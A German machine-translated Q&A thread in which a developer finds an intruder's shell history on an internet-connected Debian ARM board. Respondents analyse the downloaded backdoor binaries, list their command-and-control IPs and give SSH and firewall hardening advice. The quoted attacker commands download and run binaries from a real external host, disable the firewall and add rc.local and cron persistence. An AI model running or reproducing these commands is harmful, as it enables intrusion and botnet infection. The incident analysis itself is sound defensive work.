Wurde ich gerade gehackt?

Ich entwickle ein Verbraucherprodukt, und es soll mit dem Internet verbunden sein, also ist es wie erwartet mit dem Internet verbunden, so dass ich es richtig entwickeln kann.

Ich ging für ein oder zwei Stunden weg, und als ich in mein Büro zurückkam, bemerkte ich einige seltsame Befehle im Terminal.

Schauen Sie sich die Linux-Protokolldatei an auth.log Ich kann die folgenden Zeilen sehen (unter vielen anderen):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Die IP-Adresse 40.127.205.162 erweist sich im Besitz von Microsoft .

Hier sind eine Reihe von Befehlen, die während meiner Abwesenheit verwendet wurden:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Und mehr:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Ich war mir dessen überhaupt nicht bewusst. Wie kann ich mein Produkt richtig sichern?

Ich möchte das komplette posten auth.log Datei. Wie mache ich das?

Auch die Datei yjz1 das heruntergeladen wurde, scheint ein Linux-Trojaner zu sein und all das scheint von einer Art Hackergruppe gemacht zu werden http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Soll ich Microsoft anrufen und mit ihnen sprechen? Was soll ich machen?

BEARBEITEN 2 :

Es gibt einen guten Grund, warum dieser Beitrag so viel Aufmerksamkeit auf sich zieht: Sie haben es geschafft, die gesamte Live-Sitzung eines Eindringlings auf Ihrem PC aufzunehmen. Dies unterscheidet sich sehr von unserer Alltagserfahrung, in der wir uns mit der Entdeckung der Konsequenzen seiner Handlungen befassen und versuchen, sie zu korrigieren. Hier sehen wir ihn bei der Arbeit, sehen, dass er Probleme hat, die Hintertür aufzubauen, seine Schritte zurückverfolgen, fieberhaft arbeiten (vielleicht, weil er, wie oben angedeutet, an Ihrem Schreibtisch saß oder vielleicht, und meiner Meinung nach eher, weil er es war) nicht in der Lage, seine Malware auf dem System zum Laufen zu bringen (siehe unten), und versuchen, vollständig in sich geschlossene Kontrollinstrumente bereitzustellen. Das bezeugen Sicherheitsforscher täglich mit ihren Mitarbeitern Honigfallen . Für mich ist dies eine sehr seltene Chance und eine Quelle der Unterhaltung.

Sie wurden definitiv gehackt. Der Beweis dafür tut nicht komme aus dem schnipsel der auth.log Datei, die Sie angezeigt haben, da diese einen erfolglosen Anmeldeversuch über einen kurzen Zeitraum (zwei Sekunden) meldet. Sie werden feststellen, dass die zweite Zeile angibt Failed password, während der dritte a berichtet pre-auth Verbindung trennen: Der Kerl hat versucht und ist gescheitert.

Die Beweise stammen stattdessen vom Inhalt der beiden Dateien http://222.186.30.209:65534/yjz und http://222.186.30.209:65534/yjz1 die der Angreifer auf Ihr System heruntergeladen hat.

Die Website steht derzeit jedem zur Verfügung, um sie herunterzuladen, was ich getan habe. Ich bin zuerst gelaufen file auf ihnen, die zeigten:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Dann brachte ich sie auf eine 64-Bit-Debian-VM, die ich habe; eine Prüfung ihres Inhalts durch die strings Der Befehl enthüllte viel Verdächtiges (Hinweis auf verschiedene bekannte Angriffe, auf die zu ersetzenden Befehle, ein Skript, das eindeutig zum Einrichten eines neuen Dienstes verwendet wurde, usw.).

Ich produzierte dann die MD5-Hashes beider Dateien und fütterte sie Cymru's Hash-Datenbank, um zu sehen, ob sie bekannte Agenten von Malware sind. Während yjz ist nicht, yjz1 ist und Cymru gibt eine Erkennungswahrscheinlichkeit von Antivirensoftware von 58% an. Es heißt auch, dass diese Datei vor etwa drei Tagen zuletzt gesehen wurde, also ziemlich aktuell.

Laufen Muschel (Teil der clamav Paket) zu den beiden Dateien, die ich erhalten habe:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

Daher sind wir jetzt sicher, dass Standard-Linux-Software dies erkennen kann.

Was tun?

Obwohl ziemlich neu, ist keines der Systeme sehr neu. Sehen Sie diesen Artikel von Jan. 2015 auf XorDdos , zum Beispiel. Daher sollten die meisten kostenlosen Pakete es entfernen können. Du solltest es versuchen: clamav. rkhunter. chkrootkit. Ich habe gegoogelt und gesehen, dass sie behaupten, es erkennen zu können. Verwenden Sie sie, um die Arbeit des Vorgängers zu überprüfen, aber nachdem Sie diese drei Programme ausgeführt haben, sollten Sie bereit sein.

Wie für die größere Frage, what should you do to prevent future infections, Die Antwort von Journeyman ist ein guter erster Schritt. Denken Sie nur daran, dass dies ein ständiger Kampf ist, den wir alle (auch ich!) Sehr wahrscheinlich verloren haben könnten, ohne es zu wissen.

BEARBEITEN :

Auf die (indirekte) Eingabeaufforderung von Viktor Toth möchte ich noch ein paar Anmerkungen hinzufügen. Es ist sicherlich wahr, dass der Eindringling auf einige Schwierigkeiten gestoßen ist: Er lädt zwei verschiedene Hacking-Tools herunter, ändert seine Berechtigungen mehrmals, startet sie mehrmals neu und versucht mehrmals, die Firewall zu deaktivieren. Es ist leicht zu erraten, was passiert: Er erwartet, dass seine Hacking-Tools einen Kommunikationskanal zu einem seiner infizierten PCs öffnen (siehe später), und wenn er diesen neuen Kanal nicht auf seiner Kontroll-GUI sieht, fürchtet er sein Hacking Werkzeug wird von der Firewall blockiert, daher wiederholt er den Installationsvorgang. Ich stimme mit Viktor Toth überein, dass diese bestimmte Phase seiner Operation nicht die erwarteten Früchte bringt, aber ich möchte Sie ermutigen sehr stark um das Ausmaß des auf Ihrem PC verursachten Schadens nicht zu unterschätzen.

Ich gebe hier eine Teilausgabe von strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Dies ist ein Beweis für die Manipulation der Dienste (in /etc/init.d und in /etc/rc.d ) mit crontabmit der History-Datei von mysqlund ein paar Dateien in proc welche sind Links zu bash (Dies legt nahe, dass eine maßgeschneiderte betrügerische Version Ihrer Shell gepflanzt wurde). Dann generiert das Programm eine HTTP-Anfrage (an eine chinesischsprachige Site,

 Accept-Language: zh-cn

was David Schwartz 's Kommentar oben zutreffend macht, was noch mehr Chaos verursachen kann. In der Anfrage werden Binärdateien ( Content-Type: application/x-www-form-urlencoded ) müssen auf den angegriffenen PC (GET) heruntergeladen und auf die steuernde Maschine (POST) hochgeladen werden. Ich konnte nicht feststellen, was auf den angegriffenen PC heruntergeladen werden würde, aber angesichts der geringen Größe beider yjz und yjz1 (1.1MB bzw. 600kB), kann ich davon ausgehen, dass die meisten Dateien benötigt werden, um das Rootkit zu tarnen. d.h. die geänderten Versionen von ls. netstat. ps. ifconfig, ... würde auf diese Weise heruntergeladen. Und dies würde die fieberhaften Versuche des Angreifers erklären, diesen Download in Gang zu setzen.

Es gibt keine Gewissheit, dass das Obige alle Möglichkeiten erschöpft: Es fehlt sicherlich ein Teil des Protokolls (zwischen den Zeilen 457 und 481), und wir sehen keine Abmeldung. besorgniserregend sind außerdem die Zeilen 495-497,

cd /tmp;  ./yd_cd/make

welche sich auf eine Datei beziehen, die wir nicht heruntergeladen haben, und welche könnte Seien Sie eine Zusammenstellung: Wenn dies der Fall ist, hat der Angreifer (endlich?) verstanden, was das Problem mit seinen ausführbaren Dateien war, und versucht, das Problem zu beheben. In diesem Fall ist der angegriffene PC endgültig gegangen. [Die beiden Versionen der Malware, die der Angreifer auf die gehackte Maschine (und ich auf meine 64-Bit-Debian-VM) heruntergeladen hat, beziehen sich auf eine ungeeignete Architektur (x86), während der Name allein des in den Computer gehackten Computers diese Tatsache preisgibt er beschäftigte sich mit einer Armarchitektur.

Der Grund, warum ich diesen Artikel geschrieben habe, ist, Sie so stark wie möglich zu bitten, entweder Ihr System mit einem professionellen Instrument zu kämmen oder von Grund auf neu zu installieren.

Sollte sich dies übrigens als nützlich erweisen, ist dies die Liste der 331 IP-Adressen an welche yjz versucht sich zu verbinden. Diese Liste ist so groß (und wahrscheinlich dazu bestimmt, noch größer zu werden), dass ich glaube, dass dies der Grund für Manipulationen ist mysql. Die Liste der anderen Hintertüren ist identisch, was vermutlich der Grund dafür ist, dass eine so wichtige Information offen gelassen wird (I denken Der Angreifer wollte sich nicht die Mühe machen, sie im Kernel-Format zu speichern, daher legte er die gesamte Liste in einer Klartextdatei ab, die wahrscheinlich von allen seinen Hintertüren eingelesen wird (für welches Betriebssystem):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Der folgende Code

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

auf der obigen Liste zeigt das 302 von einer Summe 331 Adressen befinden sich in China, die restlichen in Hongkong, der Mongolei, Taiwan. Dies unterstreicht die Behauptung von David Schwartz, dass dies hauptsächlich ein chinesischer Bot-Ring sei.

BEARBEITEN 3

Auf Anfrage von @ vaid (der Autor des OP, lesen Sie unten seinen Kommentar), werde ich einen Kommentar hinzufügen, wie die Sicherheit eines Linux-Basissystems erhöht werden kann (bei einem System, das viele Dienste bereitstellt, ist dies ein weitaus komplexeres Thema). vaid sagt, er habe folgendes getan:

1. Installieren Sie das System erneut

2. Das root-Passwort wurde in ein 16-stelliges Passwort mit gemischten Groß- und Kleinbuchstaben sowie Buchstaben und Ziffern geändert.

3. Der Benutzername wurde in einen aus 6 Zeichen bestehenden Benutzernamen geändert und das gleiche Kennwort wie für root verwendet

4. SSH-Port auf etwas über 5000 geändert

5. SSH-Root-Login deaktiviert.

Dies ist in Ordnung (außer ich verwende einen Port über 10.000, da viele nützliche Programme die Ports unter 10.000 verwenden). Aber Ich kann die Notwendigkeit, kryptographische Schlüssel für den ssh-Login zu verwenden, nicht genug betonen anstelle von Passwörtern. Ich werde Ihnen ein persönliches Beispiel geben. Bei einem meiner VPS war mir nicht klar, ob ich den SSH-Port ändern sollte. Ich beließ es bei 22, verwendete aber Kryptoschlüssel zur Authentifizierung. ich hatte Hunderte von Einbruchversuchen pro Tag Es gelang keinem. Als ich müde war, jeden Tag zu überprüfen, dass es niemandem gelungen war, den Port auf etwas über 10.000 zu ändern, gingen die Einbruchsversuche gegen Null. Wohlgemerkt, es ist nicht so, dass Hacker dumm sind (sie sind es nicht!), Sie jagen einfach einfachere Beute.

Es ist einfach, einen Kryptoschlüssel mit RSA als Signaturalgorithmus zu aktivieren, siehe Kommentar unten von Jan Hudec (Danke!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Jetzt müssen Sie nur noch die Datei kopieren id_rsa zu der Maschine, von der Sie eine Verbindung herstellen möchten (in einem Verzeichnis .ssh, ebenfalls chmod 'bis 700), geben Sie dann den Befehl aus

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Wenn Sie sicher sind, dass dies funktioniert, bearbeiten Sie die Datei auf dem Server (= dem Computer, zu dem Sie eine Verbindung herstellen möchten) /etc/ssh/sshd_config, und ändern Sie die Zeile

#PasswordAuthentication yes

zu

PasswordAuthentication no

und starten Sie das neu ssh Bedienung ( service ssh restart oder systemctl restart sshoder so ähnlich, abhängig von der Distribution).

Das wird viel aushalten. Derzeit sind keine Exploits gegen die aktuellen Versionen von bekannt openssh v2und von RSA bei openssh v2.

Um Ihren Computer wirklich zu bannen, müssen Sie die Firewall (netfilter / iptables) wie folgt konfigurieren:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Dies ermöglicht 1) ssh-Verbindungen sowohl von LAN als auch von WAN, 2) erlaubt alle Eingaben, die von Ihren Anforderungen stammen (z. B. beim Laden einer Webseite), 3) alle anderen Eingaben auf der Eingabe, 4) alles auf die Ausgabe und 5-6) erlaubt alles auf der Loopback-Schnittstelle.

Wenn Ihre Anforderungen wachsen und mehr Ports geöffnet werden müssen, können Sie dies tun, indem Sie oben auf der Liste Regeln hinzufügen:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

B. Personen Zugriff auf Ihren Webbrowser gewähren.

Willkommen im Internet, wo wahrscheinlich jeder offene SSH-Server untersucht, brutal erzwungen wird und verschiedene Demütigungen erleiden.

Um zu beginnen, müssen Sie den Speicher auf dem Produkt vollständig löschen. Stellen Sie es sich vor, wenn Sie es für die Forensik weitergeben möchten, aber die Linux-Installation darauf ist jetzt suspekt.

Ein bisschen Vermutung aber

1. Du wurdest brutal gezwungen oder Verwenden Sie ein gemeinsames Passwort. Es ist Sicherheit durch Unkenntlichkeit, aber Sie möchten kein Wörterbuchkennwort oder Verwenden Sie ein Root-Konto, das für SSH geöffnet ist. Deaktivieren Sie den Root-SSH-Zugriff, wenn es sich um eine Option handelt, oder ändern Sie mindestens den Namen, damit beide erraten werden müssen. SSHing als root ist ohnehin eine schreckliche Sicherheitspraxis. Wenn Sie root verwenden müssen, melden Sie sich als anderer Benutzer an und wechseln Sie mit su oder sudo.

2. Je nach Produkt sollten Sie den SSH-Zugriff auf bestimmte Weise sperren. Eine totale Sperrung klingt nach einer guten Idee und ermöglicht es den Benutzern, sie zu öffnen wie benötigt . Berücksichtigen Sie je nach den verfügbaren Ressourcen, dass Sie nur IP-Adressen in Ihrem eigenen Subnetz oder ein Login-Drosslersystem zulassen. Wenn Sie es nicht für das Endprodukt benötigen, stellen Sie sicher, dass es ausgeschaltet ist.

3. Verwenden Sie einen nicht standardmäßigen Port. Sicherheit durch Verschleierung wieder, bedeutet jedoch, dass ein Angreifer auf Ihren Port zugreifen muss.

4. Verwenden Sie niemals ein Standardkennwort. Der beste Ansatz, den ich gesehen habe, ist, zufällig ein Passwort für ein bestimmtes Gerät zu generieren und es zusammen mit Ihrem Produkt zu versenden. Die bewährte Methode ist die schlüsselbasierte Authentifizierung, aber ich weiß nicht, wie Sie dies bei einem Massenmarktprodukt angehen würden.

Oh, Sie wurden definitiv gehackt. Es scheint, als hätte jemand Root-Zugangsdaten erhalten und versucht, einen Trojaner auf Ihr System herunterzuladen. Marius Matutiae lieferte eine Analyse der Nutzlast.

Zwei Fragen stellen sich: a) War der Angreifer erfolgreich? Und b) was kannst du dagegen tun?

Die Antwort auf die erste Frage kann sei ein nein Beachten Sie, dass der Angreifer wiederholt versucht, die Nutzdaten herunterzuladen und auszuführen, scheinbar ohne Erfolg. Ich vermute, dass ihm etwas (SELinux, vielleicht?) Im Weg stand.

JEDOCH: Der Angreifer hat auch Ihr geändert /etc/rc.d/rc.local Datei, in der Hoffnung, dass bei einem Neustart des Systems die Payload aktiviert wird. Wenn Sie das System noch nicht neu gestartet haben, starten Sie erst dann einen Neustart, wenn Sie diese Änderungen entfernt haben /etc/rc.d/rc.local. Wenn Sie es bereits neu gestartet haben ... nun, Pech.

Was Sie dagegen tun können: Am sichersten ist es, das System zu löschen und von Grund auf neu zu installieren. Dies kann jedoch nicht immer eine Option sein. Eine wesentlich weniger sichere Sache ist, genau zu analysieren, was passiert ist, und jede Spur davon zu löschen, wenn Sie können. Auch wenn Sie das System noch nicht neu gestartet haben, ist es vielleicht nur noch sauber /etc/rc.d/rc.localentfernen Sie alles, was vom Angreifer heruntergeladen wurde, und ändern Sie das verdammte Passwort!

Wenn der Angreifer jedoch bereits in der Lage war, die Nutzlast auszuführen, gibt es möglicherweise andere Änderungen an Ihrem System, die möglicherweise schwer zu erkennen sind. Aus diesem Grund ist ein vollständiges Wischen wirklich die einzige sichere (und empfohlene) Option. Wie Sie bereits angedeutet haben, ist das fragliche Gerät möglicherweise ein Test- / Entwicklungsziel. Daher ist das Abwischen möglicherweise nicht so schmerzhaft wie in anderen Fällen.

Aktualisieren : Ungeachtet dessen, was ich über eine mögliche Genesung geschrieben habe, möchte ich Marius Matutiaes wiederholen sehr stark Empfehlung, den potenziellen Schaden, der durch diese Nutzlast verursacht wird, und den Umfang, in dem das Zielsystem möglicherweise beeinträchtigt wurde, nicht zu unterschätzen.

Mein sshd-honeypot hat auch diese Art von Angriff gesehen. Die ersten Downloads von dieser URL begannen am 2016-01-29 10:25:33 und die Angriffe dauern an. Angriffe kommen / kamen aus

103.30.4.212
111.68.6.170
118.193.228.169

Eingaben von diesen Angreifern waren:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 &gt /dev/null 2&gt&amp1 &amp
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp

Es sind also keine weiteren Aktivitäten erforderlich, als die Hintertür später zu installieren.

Jeder hier hat solide Ratschläge gegeben, aber um es klar zu sagen, sollten Sie Ihre Prioritäten sichern und überprüfen, was Sie wirklich von diesem System benötigen, und dann mit einer Neuinstallation von bekanntermaßen sicheren Medien löschen.

Bevor Sie Ihren neu installierten Host mit dem Internet verbinden, gehen Sie durch die folgenden Ideen:

1. Erstellen Sie einen neuen Benutzer ohne Rootberechtigung und melden Sie sich als dieser Benutzer an. Sie sollten sich nie als root anmelden müssen, sondern nur sudo (Substitute user do), wenn dies erforderlich ist.

2. Installieren Sie SE Linux, Konfigurationseinstellungen, die eine zwingende Zugriffskontrolle ermöglichen: https://wiki.debian.org/SELinux/Setup

3. Stellen Sie sich eine Hardware-Firewall zwischen Ihrem Büro / Zuhause und dem Internet vor. Ich verwende MicroTik, das eine hervorragende Community-Unterstützung bietet: http://routerboard.com/ .

Angenommen, Sie befinden sich auf einem Zeitplan, um Ihre bezahlte Arbeit abzuschließen, tun Sie zumindest # 1. Nummer 3 ist schnell und billig, aber Sie müssen entweder auf das Paket in der Post warten oder zum Laden fahren.

1. Ist debian-armhf dein hostname? Oder verwenden Sie eine Standardinstallation mit Standardeinstellungen? Damit besteht kein Problem, aber Sie sollten nicht zulassen, dass der Host direkt mit dem Internet verbunden ist (d. H. Zumindest nicht durch Ihr Modem geschützt ist).

2. Es sieht so aus, als ob die wirklichen Schwierigkeiten kommen 222.186.30.209 (sehen http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Sie sollten nicht auf die IP-Adresse von Microsoft achten. IPs können mehr oder weniger leicht gefälscht / gefälscht werden.

3. Eine übliche Methode zum Herstellen einer Verbindung zum Internet besteht darin, eine bekannte Liste von Ports von Ihrer öffentlichen IP-Adresse (z. B. 8.8.8.8) an Ihre lokale IP-Adresse (z. B. 192.168.1.12) weiterzuleiten.

   • Leiten Sie beispielsweise nicht alle eingehenden Verbindungen von weiter 8.8.8.8 (öffentlich) zu 192.168.1.12 (lokal).

   • Nur Ports weiterleiten 22 und 25 (ssh bzw. eingehende Mail). Sie sollten natürlich auf dem neuesten Stand sein ssh und smtp Pakete / Bibliotheken ebenfalls.

4. Was kommt als nächstes? Trennen Sie den Host und ändern Sie alle Passwörter (auf allen mit der Organisation verbundenen Computern), die in Shellskripten (für Sie!) Hartcodiert sind /etc/shadow.

